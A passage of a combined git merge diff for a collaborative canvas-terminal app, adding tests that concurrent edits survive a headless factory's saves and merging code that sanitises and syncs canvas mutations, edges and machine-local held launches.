+ }
+ expect(file.nodes.map((n) => n.id)).toContain(id)
+ expect(file.ropes).toEqual([expect.objectContaining({ source: 'term-source', target: id })])
+
+ // A verb with ONE save (the open above saves twice, so its second save would carry what the
+ // first one's cast delivered late): the rename is on disk the moment the verb returns.
+ const renamed = await factory.rename('term-source', { node: 'term-owned', title: 'Renamed' })
+ factory.stop()
+ expect(renamed).toMatchObject({ ok: true })
+ const after = JSON.parse(fs.readFileSync(path.join(projectDir, '.nodeterm', 'project.json'), 'utf8')) as {
+ nodes: CanvasNodeState[]
+ }
+ expect(after.nodes.find((n) => n.id === 'term-owned')?.title).toBe('Renamed')
+ await authority.stop()
+ store.setContentAuthority(null)
+ })
+})
+
+describe('HeadlessNodeFactory — one load and one save, both through the cast helper (source)', () => {
+ const src = fs.readFileSync(path.join(__dirname, 'headless-node-factory.ts'), 'utf8').replace(/\r\n/g, '\n')
+ it('every verb loads through loadForEdit and saves through castAndSave', () => {
+ // A second `workspaceStore.save(` is a save site that casts nothing: on a governed project the
+ // authority's overlay would drop whatever it changed.
+ expect(src.match(/workspaceStore\.save\(/g)?.length).toBe(1)
+ expect(src.match(/workspaceStore\.load\(/g)?.length).toBe(1)
+ const saveAt = src.indexOf('workspaceStore.save(')
+ const helper = src.lastIndexOf('private async castAndSave(', saveAt)
+ expect(helper).toBeGreaterThan(0)
+ expect(src.slice(helper, saveAt)).toContain('diffContent(')
+ // The one read is the read-only view; every edit copies it (loadForEdit).
+ const readAt = src.indexOf('workspaceStore.load(')
+ expect(src.lastIndexOf('private readWorkspace(', readAt)).toBeGreaterThan(0)
+ })
+
+ it('browsers are sent the PERSISTED project, re-read after the save, never a verb\'s copy', () => {
+ const calls = [...src.matchAll(/this\.deps\.publishProject/g)].map((m) => m.index ?? -1)
+ const helper = src.indexOf('private async publishPersisted(')
+ const end = src.indexOf('\n }\n', helper)
+ expect(helper).toBeGreaterThan(0)
+ for (const at of calls) expect(at > helper && at < end, `publishProject outside publishPersisted at ${at}`).toBe(true)
+ expect(src.slice(helper, end)).toContain('await this.readWorkspace()')
+ })
+})
+
+// A launch can take seconds. A verb's SECOND save (after it) must never write back the copy it
+// loaded before the launch: that copy predates whatever a teammate did meanwhile, and a whole-node
+// upsert (or a whole-project broadcast) built from it would undo it. Each second phase re-reads, and
+// re-applies only its own patch (the launch outcome).
+describe('HeadlessNodeFactory — a second phase re-reads before it writes (fix round 1)', () => {
+ let dataDir = ''
+ let projectDir = ''
+ let store: WorkspaceStore
+ let pty: FakePty
+ let ownership: HeadlessNodeOwnership
+ let fake: FakePlatform
+ let shared: Set<string>
+ let states: Record<string, AgentState | undefined>
+ let cast: CanvasMutation[]
+ let broadcast: Project[]
+ let authority: ReturnType<typeof createCanvasAuthority>
+
+ const held = (command: string, after: string[] = []) => ({ after, command, executor: 'server' as const })
+ const deps = (): HeadlessNodeFactoryDeps => ({
+ workspaceStore: store,
+ ptyManager: pty,
+ settings: () => ({ ...DEFAULT_SETTINGS, claudePermissionMode: 'manual' }),
+ cliCaps: async () => ({ version: null, autoPermissionMode: false, fullscreenTui: false, sessionIdFlag: false }),
+ grokCaps: async () => ({ sessionIdFlag: false, models: [] }),
+ codexCaps: async () => ({ approvalValues: ['on-request', 'never'] }),
+ codexSharedIdentity: async () => false,
+ ownership,
+ stateOf: (id) => states[id],
+ launchTiming: { quietMs: 0, capMs: 0 },
+ publishMutation: (id, m) => {
+ cast.push(m)
+ publishCanvasMutation(id, m)
+ },
+ publishProject: (project) => broadcast.push(structuredClone(project))
+ })
+
+ beforeEach(async () => {
+ dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'nodeterm-headless-phase-'))
+ projectDir = path.join(dataDir, 'project')
+ fs.mkdirSync(projectDir, { recursive: true })
+ resetPlatformForTests()
+ fake = fakePlatform({ userDataDir: dataDir })
+ initPlatform(fake)
+ initCanvasSync()
+ store = new WorkspaceStore()
+ pty = new FakePty()
+ states = {}
+ cast = []
+ broadcast = []
+ ownership = createHeadlessNodeOwnership()
+ for (const id of ['term-held', 'term-armed']) ownership.record(id, { sourceNodeId: 'term-source', projectId: 'project-1' })
+ await store.save({
+ version: 2,
+ activeProjectId: 'project-1',
+ projects: [
+ {
+ id: 'project-1',
+ name: 'Test',
+ color: '#0a84ff',
+ cwd: projectDir,
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [
+ terminal('term-source', 'Director'),
+ terminal('term-dep', 'Dependency', 'claude', 700),
+ { ...terminal('term-held', 'Held', 'claude', 1400), pendingLaunch: held('printf held') },
+ { ...terminal('term-armed', 'Armed', 'claude', 2100), pendingLaunch: held('printf armed', ['term-dep']) }
+ ],
+ bridges: [],
+ ropes: []
+ }
+ ]
+ })
+ shared = new Set(['project-1'])
+ authority = createCanvasAuthority({
+ sharedProjectIds: () => shared,
+ readContent: (id) => store.readProjectContent(id),
+ writeContent: (id, c) => store.writeProjectContent(id, c),
+ publish: (id, m) => {
+ publishCanvasMutation(id, m)
+ },
+ // No flush timer ever fires: the disk holds exactly what the verb's own saves wrote.
+ setTimer: () => null,
+ clearTimer: () => {},
+ log: () => {}
+ })
+ store.setContentAuthority(authority)
+ setReflectedListener((id, m) => authority.onReflected(id, m))
+ })
+
+ afterEach(async () => {
+ await authority.stop()
+ store.setContentAuthority(null)
+ setReflectedListener(null)
+ resetPlatformForTests()
+ fs.rmSync(dataDir, { recursive: true, force: true })
+ })
+
+ /** A browser's cast, through the real reflector (the authority hears it). */
+ const clientCast = (m: CanvasMutation): void => {
+ fake.senderListeners[IPC.canvasMut](42, 'project-1', { ...m, src: 'browser-42' })
+ }
+ const liveNode = async (id: string): Promise<CanvasNodeState> =>
+ (await store.load({ sideline: false })).projects[0].nodes.find((n) => n.id === id)!
+ const onDisk = (id: string): CanvasNodeState | undefined =>
+ (JSON.parse(fs.readFileSync(path.join(projectDir, '.nodeterm', 'project.json'), 'utf8')) as { nodes: CanvasNodeState[] })
+ .nodes.find((n) => n.id === id)
+ const upsertsOf = (ms: CanvasMutation[], id: string): CanvasNodeState[] =>
+ ms.flatMap((m) => (m.op === 'upsert' && m.node.id === id ? [m.node] : []))
++ /**
++ * A node's held launch as a RESTART would find it: a fresh store reading workspace.json and
++ * project.json. `pendingLaunch` is machine-local (@shared/node-exec), so `onDisk` (project.json)
++ * never has one whatever happened; the index's `localExec` is where a claim or a clear lands.
++ */
++ const indexed = async (id: string): Promise<CanvasNodeState['pendingLaunch']> =>
++ (await new WorkspaceStore().load({ sideline: false })).projects[0].nodes.find((n) => n.id === id)?.pendingLaunch
+
+ it('open: a move made while the launch runs survives on disk, in the cast and in the broadcast', async () => {
+ const factory = new HeadlessNodeFactory(deps())
+ let castAtMove = -1
+ const create = pty.createHeadless.bind(pty)
+ vi.spyOn(pty, 'createHeadless').mockImplementation(async (o) => {
+ clientCast({ op: 'upsert', node: { ...(await liveNode(o.persistKey!)), position: { x: 999, y: 7 } } })
+ castAtMove = cast.length
+ return create(o)
+ })
+ const reply = await factory.openAgent('term-source', { agent: 'claude', prompt: 'hello' }, true)
+ factory.stop()
+ expect(reply).toMatchObject({ ok: true })
+ const id = (reply.result as { id: string }).id
+ expect(castAtMove).toBeGreaterThan(0)
+ // The verb's own patch (the launch was delivered) landed; the teammate's move was kept.
+ expect(onDisk(id)?.position).toEqual({ x: 999, y: 7 })
+ expect(onDisk(id)?.pendingLaunch).toBeUndefined()
++ expect(await indexed(id)).toBeUndefined()
+ const later = upsertsOf(cast.slice(castAtMove), id)
+ expect(later.length).toBeGreaterThan(0)
+ for (const n of later) expect(n.position).toEqual({ x: 999, y: 7 })
+ expect(broadcast.at(-1)?.nodes.find((n) => n.id === id)?.position).toEqual({ x: 999, y: 7 })
+ })
+
+ it('open: a node deleted while the launch runs stays deleted, and nothing re-creates it', async () => {
+ const factory = new HeadlessNodeFactory(deps())
+ let castAtDelete = -1
+ let deleted = ''
+ const create = pty.createHeadless.bind(pty)
+ vi.spyOn(pty, 'createHeadless').mockImplementation(async (o) => {
+ deleted = o.persistKey!
+ clientCast({ op: 'remove', id: deleted })
+ castAtDelete = cast.length
+ return create(o)
+ })
+ await factory.openAgent('term-source', { agent: 'claude', prompt: 'hello' }, true)
+ factory.stop()
+ expect(deleted).not.toBe('')
+ // Nothing is left for the verb to write (its node is gone), so the deletion reaches disk with the
+ // authority's own flush — and a stale upsert from the verb would have re-created it there.
+ await authority.flushAll()
+ expect(onDisk(deleted)).toBeUndefined()
+ expect(upsertsOf(cast.slice(castAtDelete), deleted)).toEqual([])
+ expect(broadcast.at(-1)?.nodes.some((n) => n.id === deleted)).toBe(false)
+ })
+
+ it('run: a move made while the launch runs survives; the claim is cleared on the moved node', async () => {
+ const factory = new HeadlessNodeFactory(deps())
+ let castAtMove = -1
+ const create = pty.createHeadless.bind(pty)
+ vi.spyOn(pty, 'createHeadless').mockImplementation(async (o) => {
+ clientCast({ op: 'upsert', node: { ...(await liveNode('term-held')), position: { x: 999, y: 7 } } })
+ castAtMove = cast.length
+ return create(o)
+ })
+ expect(await factory.run('term-source', { node: 'term-held' }, true)).toMatchObject({ ok: true, result: { started: true } })
+ factory.stop()
+ expect(onDisk('term-held')?.position).toEqual({ x: 999, y: 7 })
+ expect(onDisk('term-held')?.pendingLaunch).toBeUndefined()
++ expect(await indexed('term-held')).toBeUndefined()
+ for (const n of upsertsOf(cast.slice(castAtMove), 'term-held')) expect(n.position).toEqual({ x: 999, y: 7 })
+ expect(broadcast.at(-1)?.nodes.find((n) => n.id === 'term-held')?.position).toEqual({ x: 999, y: 7 })
+ })
+
+ it('refreshArmed: a move made while the held launch is typed survives; the arm is cleared on the moved node', async () => {
+ const factory = new HeadlessNodeFactory(deps())
+ pty.live.add('term-armed')
+ let castAtMove = -1
+ const send = pty.sendText.bind(pty)
+ vi.spyOn(pty, 'sendText').mockImplementation(async (id, text) => {
+ clientCast({ op: 'upsert', node: { ...(await liveNode('term-armed')), position: { x: 999, y: 7 } } })
+ castAtMove = cast.length
+ return send(id, text)
+ })
+ await factory.refreshArmed({ nodeId: 'term-dep', state: 'done' })
+ factory.stop()
+ expect(pty.sends).toEqual([{ nodeId: 'term-armed', text: 'printf armed' }])
+ expect(onDisk('term-armed')?.position).toEqual({ x: 999, y: 7 })
+ expect(onDisk('term-armed')?.pendingLaunch).toBeUndefined()
++ expect(await indexed('term-armed')).toBeUndefined()
+ for (const n of upsertsOf(cast.slice(castAtMove), 'term-armed')) expect(n.position).toEqual({ x: 999, y: 7 })
+ expect(broadcast.at(-1)?.nodes.find((n) => n.id === 'term-armed')?.position).toEqual({ x: 999, y: 7 })
+ })
+
+ it('an UNGOVERNED project: a browser save made while the launch runs is not overwritten either', async () => {
+ shared.clear()
+ const factory = new HeadlessNodeFactory(deps())
+ const create = pty.createHeadless.bind(pty)
+ vi.spyOn(pty, 'createHeadless').mockImplementation(async (o) => {
+ const ws = await store.load({ sideline: false })
+ const n = ws.projects[0].nodes.find((x) => x.id === o.persistKey)!
+ n.position = { x: 999, y: 7 }
+ await store.save(ws)
+ return create(o)
+ })
+ const reply = await factory.openAgent('term-source', { agent: 'claude', prompt: 'hello' }, true)
+ factory.stop()
+ const id = (reply.result as { id: string }).id
+ expect(onDisk(id)?.position).toEqual({ x: 999, y: 7 })
+ expect(onDisk(id)?.pendingLaunch).toBeUndefined()
+ })
+
+ it('close: a browser save made while the panes are killed is not overwritten by the close', async () => {
+ shared.clear()
+ const factory = new HeadlessNodeFactory(deps())
+ const destroy = pty.destroySession.bind(pty)
+ vi.spyOn(pty, 'destroySession').mockImplementation(async (c, id, o) => {
+ const ws = await store.load({ sideline: false })
+ ws.projects[0].nodes.find((x) => x.id === 'term-dep')!.position = { x: 999, y: 7 }
+ await store.save(ws)
+ return destroy(c, id, o)
+ })
+ expect(await factory.close('term-source', { node: 'term-held' }, true)).toMatchObject({ ok: true })
+ factory.stop()
+ expect(onDisk('term-held')).toBeUndefined()
+ expect(onDisk('term-dep')?.position).toEqual({ x: 999, y: 7 })
+ expect(broadcast.at(-1)?.nodes.find((n) => n.id === 'term-dep')?.position).toEqual({ x: 999, y: 7 })
+ })
+
+ it('once canvas control stopped, a verb still mid-launch neither casts nor saves (and says so)', async () => {
+ const factory = new HeadlessNodeFactory(deps())
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ const save = vi.spyOn(store, 'save')
+ let castAtStop = -1
+ let savesAtStop = -1
+ const create = pty.createHeadless.bind(pty)
+ vi.spyOn(pty, 'createHeadless').mockImplementation(async (o) => {
+ factory.stop()
+ castAtStop = cast.length
+ savesAtStop = save.mock.calls.length
+ return create(o)
+ })
+ await factory.openAgent('term-source', { agent: 'claude', prompt: 'hello' }, true)
+ expect(castAtStop).toBeGreaterThan(0)
+ expect(cast.length).toBe(castAtStop)
+ expect(save.mock.calls.length).toBe(savesAtStop)
+ expect(warn.mock.calls.some((c) => String(c[0]).includes('canvas control stopped'))).toBe(true)
+ warn.mockRestore()
+ })
+
+ it('a verb that stops before its FIRST save writes nothing either', async () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ const save = vi.spyOn(store, 'save')
+ let factory: HeadlessNodeFactory | null = null
+ factory = new HeadlessNodeFactory({
+ ...deps(),
+ cliCaps: async () => {
+ factory!.stop()
+ return { version: null, autoPermissionMode: false, fullscreenTui: false, sessionIdFlag: false }
+ }
+ })
+ await factory.openAgent('term-source', { agent: 'claude', prompt: 'hello' }, true)
+ expect(cast).toEqual([])
+ expect(save).not.toHaveBeenCalled()
+ expect(broadcast).toEqual([])
+ expect(warn.mock.calls.some((c) => String(c[0]).includes('canvas control stopped'))).toBe(true)
+ warn.mockRestore()
+ })
+
++ // `pendingLaunch` is a machine-local exec field (@shared/node-exec): never in project.json, never in
++ // the authority's state (the reflector hands the authority every op without it, even an owner's).
++ // On a governed project a launch therefore reaches disk ONLY through a save's exec carry
++ // (`carryLocalNodeExec` in the authority's save overlay) into workspace.json's `localExec` — and
++ // that is also the only way the factory's second-phase patches (claim, clear, awaitWorking) land.
++ describe('a held launch on a GOVERNED project (machine-local)', () => {
++ it('an armed node a browser tab adds keeps its launch across an authority flush and a reload', async () => {
++ const heard: CanvasMutation[] = []
++ setReflectedListener((id, m) => {
++ heard.push(m)
++ authority.onReflected(id, m)
++ })
++ // An OWNER tab (a cookie-authenticated Server Edition browser): the reflector keeps its launch
++ // for the other owner tabs, and still hands the authority the op without one.
++ fake.isOwnerClient = (id) => id === 42
++ fake.clients.push(42)
++ const launch = { after: ['term-dep'], command: 'printf new' }
++ clientCast({ op: 'upsert', node: { ...terminal('term-new', 'New', 'claude', 2800), pendingLaunch: launch } })
++ expect(upsertsOf(heard, 'term-new')).toHaveLength(1)
++ expect(upsertsOf(heard, 'term-new')[0].pendingLaunch).toBeUndefined()
++ expect(fake.sent.some((s) => s.to === 42 && (s.args[1] as CanvasMutation & { origin?: string }).origin === 'core')).toBe(true)
++ // The tab's own whole-workspace save: its live node carries the launch, the overlay carries it
++ // onto the authority's node, and the split keeps it in the index.
++ const ws = await store.load({ sideline: false })
++ ws.projects[0].nodes.find((n) => n.id === 'term-new')!.pendingLaunch = structuredClone(launch)
++ await store.save(ws)
++ // The authority's own write (project.json only) leaves the index alone.
++ await authority.flushAll()
++ expect(onDisk('term-new')).toBeDefined()
++ expect(onDisk('term-new')?.pendingLaunch).toBeUndefined()
++ expect(await indexed('term-new')).toEqual(launch)
++ // A server restart: a fresh store under a fresh authority still hands the launch back.
++ const store2 = new WorkspaceStore()
++ const authority2 = createCanvasAuthority({
++ sharedProjectIds: () => shared,
++ readContent: (id) => store2.readProjectContent(id),
++ writeContent: (id, c) => store2.writeProjectContent(id, c),
++ publish: () => {},
++ setTimer: () => null,
++ clearTimer: () => {},
++ log: () => {}
++ })
++ store2.setContentAuthority(authority2)
++ const reloaded = (await store2.load({ sideline: false })).projects[0].nodes.find((n) => n.id === 'term-new')
++ expect(reloaded?.pendingLaunch).toEqual(launch)
++ await authority2.stop()
++ })
++
++ it('refreshArmed: the claim of a launch whose send fails reaches the index, never the authority, and survives a flush', async () => {
++ const heard: CanvasMutation[] = []
++ setReflectedListener((id, m) => {
++ heard.push(m)
++ authority.onReflected(id, m)
++ })
++ const factory = new HeadlessNodeFactory(deps())
++ pty.live.add('term-armed')
++ vi.spyOn(pty, 'sendText').mockResolvedValue(false)
++ await factory.refreshArmed({ nodeId: 'term-dep', state: 'done' })
++ factory.stop()
++ const claimed = { after: ['term-dep'], command: 'printf armed', executor: 'server', attempted: true, manualOnly: true }
++ // Cast (the core's own write: owner tabs get the claim), but heard by the authority without it.
++ expect(upsertsOf(cast, 'term-armed').some((n) => n.pendingLaunch?.attempted === true)).toBe(true)
++ expect(upsertsOf(heard, 'term-armed').length).toBeGreaterThan(0)
++ for (const n of upsertsOf(heard, 'term-armed')) expect(n.pendingLaunch).toBeUndefined()
++ expect(await indexed('term-armed')).toEqual(claimed)
++ // A teammate's move, then the authority's flush: project.json moves, the claim stays put.
++ clientCast({ op: 'upsert', node: { ...(await liveNode('term-armed')), position: { x: 5, y: 5 } } })
++ await authority.flushAll()
++ expect(onDisk('term-armed')?.position).toEqual({ x: 5, y: 5 })
++ expect(onDisk('term-armed')?.pendingLaunch).toBeUndefined()
++ expect(await indexed('term-armed')).toEqual(claimed)
++ })
++
++ it('refreshArmed: a first working turn drops awaitWorking from the index, keeping the arm', async () => {
++ const ws = await store.load({ sideline: false })
++ ws.projects[0].nodes.find((n) => n.id === 'term-armed')!.pendingLaunch = {
++ ...held('printf armed', ['term-dep']),
++ awaitWorking: ['term-dep']
++ }
++ await store.save(ws)
++ expect((await indexed('term-armed'))?.awaitWorking).toEqual(['term-dep'])
++ const factory = new HeadlessNodeFactory(deps())
++ await factory.refreshArmed({ nodeId: 'term-dep', state: 'working' })
++ factory.stop()
++ const after = await indexed('term-armed')
++ expect(after).toMatchObject({ after: ['term-dep'], command: 'printf armed', executor: 'server' })
++ expect(after?.awaitWorking).toBeUndefined()
++ await authority.flushAll()
++ expect((await indexed('term-armed'))?.awaitWorking).toBeUndefined()
++ expect((await indexed('term-armed'))?.command).toBe('printf armed')
++ })
++ })
++
+ it('refreshArmed with nothing ready deep-copies nothing and saves nothing', async () => {
+ const factory = new HeadlessNodeFactory(deps())
+ const save = vi.spyOn(store, 'save')
+ const clone = vi.spyOn(globalThis, 'structuredClone')
+ // Armed, but its dependency is not done: nothing changes.
+ await factory.refreshArmed({ nodeId: 'term-dep', state: 'working' })
+ // A hook event from a node nobody waits on.
+ await factory.refreshArmed({ nodeId: 'term-source', state: 'done' })
+ factory.stop()
+ expect(clone).not.toHaveBeenCalled()
+ expect(save).not.toHaveBeenCalled()
+ expect(cast).toEqual([])
+ clone.mockRestore()
+ })
+})
diff --cc src/server/headless-node-factory.ts
index 20219741e,35ef5d994..146705007
--- a/src/server/headless-node-factory.ts
+++ b/src/server/headless-node-factory.ts
@@@ -112,16 -121,18 +123,24 @@@ export interface HeadlessNodeFactoryDep
/** Hook-mirror lookups. A stored agentId wins; these cover a plain terminal running an agent. */
stateOf(nodeId: string): AgentState | undefined
agentIdOf?(nodeId: string): string | undefined
+ /** A station's latest task report (`report-outcome`, core's store) — what `--after-success` waits
+ * on. Absent = no report is ever known, so a success wait never releases on its own. */
+ outcomeOf?(nodeId: string): StationOutcomeRecord | undefined
+ /** Has this station been handed new work (a `send` / `reply` queued or landed, a `run`) that no
+ * turn since has finished? core/station-handover.ts — while it has, plain `--after` on it is not
+ * satisfied, whatever its state reads: its `done` is the PREVIOUS task's. Absent = nothing is
+ * ever handed over (the pre-tracker behaviour). */
+ handedOver?(nodeId: string): boolean
env?: Record<string, string | undefined>
now?: () => number
- publishNode?: (projectId: string, node: CanvasNodeState) => void
- publishRemoval?: (projectId: string, nodeId: string) => void
+ /**
+ * Cast one content op (node, edge or board) to every client. Default: the reflector
+ * (`publishCanvasMutation`), whose listener is the canvas authority. Every op is cast BEFORE the
+ * save that persists it (`castAndSave`): on a governed project the save is overlaid with the
+ * authority's content, which holds only what it heard as ops.
+ */
+ publishMutation?: (projectId: string, m: CanvasMutation) => void
+ /** The whole project, to browsers, on `workspace:server-change` (merged, never a conflict bar). */
publishProject?: (project: Project) => void
/** Injectable only so tests can seed creator facts; production uses a fresh process-local ledger. */
ownership?: HeadlessNodeOwnership
@@@ -1755,7 -1728,8 +1869,8 @@@ export class HeadlessNodeFactory
const ready = pending.after.every((depId) => {
const stillExists = project.nodes.some((candidate) => candidate.id === depId)
if (!stillExists) return true
- if (pending.awaitWorking?.includes(depId)) return false
+ if (awaitWorking?.includes(depId)) return false
+ if (this.handedOver(depId)) return false
return observed?.nodeId === depId
? observed.state === 'done'
: this.deps.stateOf(depId) === 'done'
diff --cc src/shared/canvas-mutations.ts
index 2e4c70640,9b9dee286..6ad637016
--- a/src/shared/canvas-mutations.ts
+++ b/src/shared/canvas-mutations.ts
@@@ -2,42 -2,9 +2,42 @@@
// the relay host (src/main/remote), the renderer (Canvas), and the canvas-sync reflector
// (src/core). Pure: no electron, no sockets, no disk.
-import { carryLocalNodeExec, mutationTrustsLaunch, sanitizeInboundNode } from './node-exec'
+import { isKanbanOp, sanitizeKanbanOp } from './kanban-ops'
- import { carryLocalNodeExec, sanitizeInboundMutation, sanitizeInboundNode } from './node-exec'
++import { carryLocalNodeExec, mutationTrustsLaunch, sanitizeInboundMutation, sanitizeInboundNode } from './node-exec'
import { REF_MAX_LEN } from './presence'
-import type { CanvasMutation, CanvasNodeState } from './types'
+import type { BridgeLink, CanvasEdgeKind, CanvasMutation, CanvasNodeState, SceneMutation } from './types'
+
+/**
+ * A canvas as the publisher sees it: the nodes React Flow manages, plus the two PERSISTED edge
+ * lists (`bridges` = context links, `ropes` = display-only "spawned by" lineage).
+ *
+ * The edges are in here for one reason, and it is a data-loss reason rather than a cosmetic one.
+ * They ride the same whole-file `workspace.save` as the nodes but were NOT in the mutation
+ * vocabulary, so an edge you drew never reached your teammate — and their next save, of a canvas
+ * that never had it, DELETED it. (Same in reverse.) Syncing them is what makes the file the two
+ * clients converge on the file they both agree with.
+ */
+export interface CanvasScene {
+ nodes: CanvasNodeState[]
+ bridges: BridgeLink[]
+ ropes: BridgeLink[]
+}
+
+/** A bare node array read as a scene with no edges — the shape every pre-edge caller passes. */
+export function asScene(s: CanvasScene | CanvasNodeState[]): CanvasScene {
+ return Array.isArray(s) ? { nodes: s, bridges: [], ropes: [] } : s
+}
+
+/** Does this mutation address an edge (rather than a node)? */
+export function isEdgeMutation(
+ m: CanvasMutation
+): m is Extract<CanvasMutation, { op: 'edge-upsert' | 'edge-remove' }> {
+ return m.op === 'edge-upsert' || m.op === 'edge-remove'
+}
+
+function isEdgeKind(value: unknown): value is CanvasEdgeKind {
+ return value === 'bridge' || value === 'rope'
+}
/**
* Ceiling on one mutation's serialized size. A node carries free text (a sticky's body, an
@@@ -117,31 -46,7 +117,34 @@@ function checkMutation(value: unknown,
const pos = node.position
if (!pos || typeof pos !== 'object') return false
if (!Number.isFinite(pos.x) || !Number.isFinite(pos.y)) return false
- return withinSizeLimit(m)
+ return fits(m)
+}
+
+/**
+ * The CLEAN form of an accepted mutation — what a reflector reflects and an authority applies, so
+ * every peer receives the repaired op rather than each repairing the raw one on its own:
- * - a node `upsert` loses the exec-enabling fields (`sanitizeInboundMutation`, @shared/node-exec);
++ * - a node `upsert` loses the exec-enabling fields (`sanitizeInboundMutation`, @shared/node-exec).
++ * `keepLaunch` keeps its held launch (`pendingLaunch`), and is for the reflector alone, for an
++ * OWNER sender: it then forwards that launch to owner clients only (core/canvas-sync.ts
++ * `fanOutMutation`);
+ * - a kanban op is rebuilt by `sanitizeKanbanOp` (unknown fields dropped, colour / rank / priority /
+ * dueAt / category repaired or dropped), KEEPING the stamp fields `src` / `seq` / `seen` — the
+ * order still has to judge it;
+ * - everything else passes through unchanged.
+ * `null` = refused (a kanban op `sanitizeKanbanOp` refuses). The caller still runs
+ * `isCanvasMutation` first for the size cap; this adds no size check of its own.
+ */
- export function sanitizeCanvasMutation(m: CanvasMutation): CanvasMutation | null {
++export function sanitizeCanvasMutation(m: CanvasMutation, keepLaunch = false): CanvasMutation | null {
+ if (isKanbanOp(m)) {
+ const clean = sanitizeKanbanOp(m)
+ if (!clean) return null
+ const out: CanvasMutation = { ...clean }
+ if (m.src !== undefined) out.src = m.src
+ if (m.seq !== undefined) out.seq = m.seq
+ if (m.seen !== undefined) out.seen = m.seen
+ return out
+ }
- return sanitizeInboundMutation(m)
++ return sanitizeInboundMutation(m, keepLaunch)
}
function withinSizeLimit(m: unknown): boolean {
@@@ -247,21 -151,36 +250,45 @@@ export function applyCanvasMutation
states: CanvasNodeState[],
m: CanvasMutation
): CanvasNodeState[] {
+ // An edge mutation addresses neither of these nodes. Returned UNCHANGED (by reference, so a
+ // caller's `next === prev` short-circuit still fires) rather than trusted to be pre-filtered:
+ // every caller here is applying something that came off the wire, and a silent no-op is the only
+ // safe reading of "this list is not what that mutation is about".
+ if (isEdgeMutation(m)) return states
if (m.op === 'remove') return states.filter((n) => n.id !== m.id)
+ // A kanban op addresses the board, not the node list (its `nodeId` names a CARD) — same no-op.
+ if (m.op !== 'upsert') return states
- const node = sanitizeInboundNode(m.node)
+ // A held launch (`pendingLaunch`) is machine-local too; only a core-vouched owner copy
+ // (`origin: 'core'`) may set or clear it (@shared/node-exec).
+ const trust = mutationTrustsLaunch(m)
+ const node = sanitizeInboundNode(m.node, trust)
const idx = states.findIndex((n) => n.id === node.id)
if (idx === -1) return [...states, node]
const next = states.slice()
// …and OUR exec fields stay on the node the upsert replaces: they are per-machine, so a peer
// dragging our ssh terminal must not hand it back stripped of the jump host we configured.
- next[idx] = carryLocalNodeExec(states[idx], node)
+ next[idx] = carryLocalNodeExec(states[idx], node, trust)
+ return next
+ }
+
+ /**
+ * Apply a mutation THIS renderer authored itself (a cold open into a background project, the
+ * headless start's outcome patch, an off-canvas display node). Nothing is stripped or carried: the
+ * write is ours, so its `pendingLaunch` is the one to keep — and an upsert without one CLEARS it,
+ * which the inbound path above can never do (it carries the old one across). Never call this with a
+ * mutation that arrived from anywhere else; that is what `applyCanvasMutation` is for.
+ */
+ export function applyOwnCanvasMutation(
+ states: CanvasNodeState[],
+ m: CanvasMutation
+ ): CanvasNodeState[] {
+ if (m.op === 'remove') return states.filter((n) => n.id !== m.id)
++ // An edge or board op addresses no node in this list: the same no-op as `applyCanvasMutation`.
++ if (m.op !== 'upsert') return states
+ const idx = states.findIndex((n) => n.id === m.node.id)
+ if (idx === -1) return [...states, m.node]
+ const next = states.slice()
+ next[idx] = m.node
return next
}
diff --cc src/shared/canvas-publish.ts
index 1f5c66c2a,b2a244c9f..d3ef76831
--- a/src/shared/canvas-publish.ts
+++ b/src/shared/canvas-publish.ts
@@@ -21,10 -21,10 +21,10 @@@
//
// Pure + DOM-free (vitest runs in the node environment): only setTimeout, no React, no window.
- import { stripSharedNodeExec } from './node-exec'
+ import { stripCastNodeExec } from './node-exec'
-import { diffToMutations } from './canvas-mutations'
-import { mutationNodeId } from './canvas-order'
-import type { CanvasMutation, CanvasNodeState } from './types'
+import { asScene, diffToMutations, type CanvasScene } from './canvas-mutations'
+import { mutationKey, mutationNodeId } from './canvas-order'
+import type { BridgeLink, CanvasMutation, CanvasNodeState } from './types'
/** ~20 Hz while dragging — the same budget the presence cursor stream uses. */
export const PUBLISH_INTERVAL_MS = 50
diff --cc src/shared/node-exec.ts
index b28d727ea,e49c54185..225b54813
--- a/src/shared/node-exec.ts
+++ b/src/shared/node-exec.ts
@@@ -127,13 -181,12 +181,14 @@@ export function carryLocalNodeExec
return out
}
-/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq` — are preserved).
- * `keepLaunch` is for the reflector alone, and only for an OWNER sender (see `stripCastNodeExec`). */
+/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq`, `seen` — are preserved).
- * Only `upsert` carries a node; every other op (`remove`, and the edge ops, which carry nothing
- * but ids) passes through untouched. */
- export function sanitizeInboundMutation<T extends { op: string }>(m: T): T {
++ * Only `upsert` carries a node; every other op (`remove`, the edge ops and the board ops, which
++ * carry no node) passes through untouched. `keepLaunch` is for the reflector alone, and only for an
++ * OWNER sender (see `stripCastNodeExec`). */
+ export function sanitizeInboundMutation<T extends CanvasMutation>(m: T, keepLaunch = false): T {
if (m.op !== 'upsert') return m
const up = m as unknown as { node: CanvasNodeState }
- const node = sanitizeInboundNode(up.node)
+ const node = sanitizeInboundNode(up.node, keepLaunch)
return node === up.node ? m : ({ ...m, node } as T)
}
diff --cc src/shared/types.ts
index b70ffb207,519422d05..85a1aa08a
--- a/src/shared/types.ts
+++ b/src/shared/types.ts
@@@ -651,77 -658,15 +660,94 @@@ export interface CanvasState
* that echo is the ACK that tells the sender where its edit landed in the total order).
* - `seq` is stamped by the reflector (src/core/canvas-sync.ts) and is the TOTAL ORDER. It is
* server-authoritative: a client-supplied `seq` is overwritten at ingest, never trusted.
+ * - `seen` is the sender's CAUSAL stamp: the highest `seq` it had applied at the moment it cast.
+ * It answers the one question `seq` alone cannot — "did this client already know about the
+ * delete?" — which is what lets a delete beat a concurrent drag frame instead of being
+ * resurrected by it (canvas-order's rule 4). Client-supplied; the reflector clamps it below the
+ * order it is being given, which is hygiene and changes no verdict (see `stampMutation`). A
+ * mutation without it is judged exactly as before, so an unstamped peer degrades rather than
+ * breaks.
+ * - `origin: 'core'` is ALSO reflector-authoritative: a client-supplied one is deleted at ingest.
+ * The core adds it only on a copy that came from an OWNER client (or the core itself) and goes to
+ * an owner client, and it is the ONE thing that lets a receiver take the node's machine-local
- * `pendingLaunch` as sent (@shared/node-exec `mutationTrustsLaunch`).
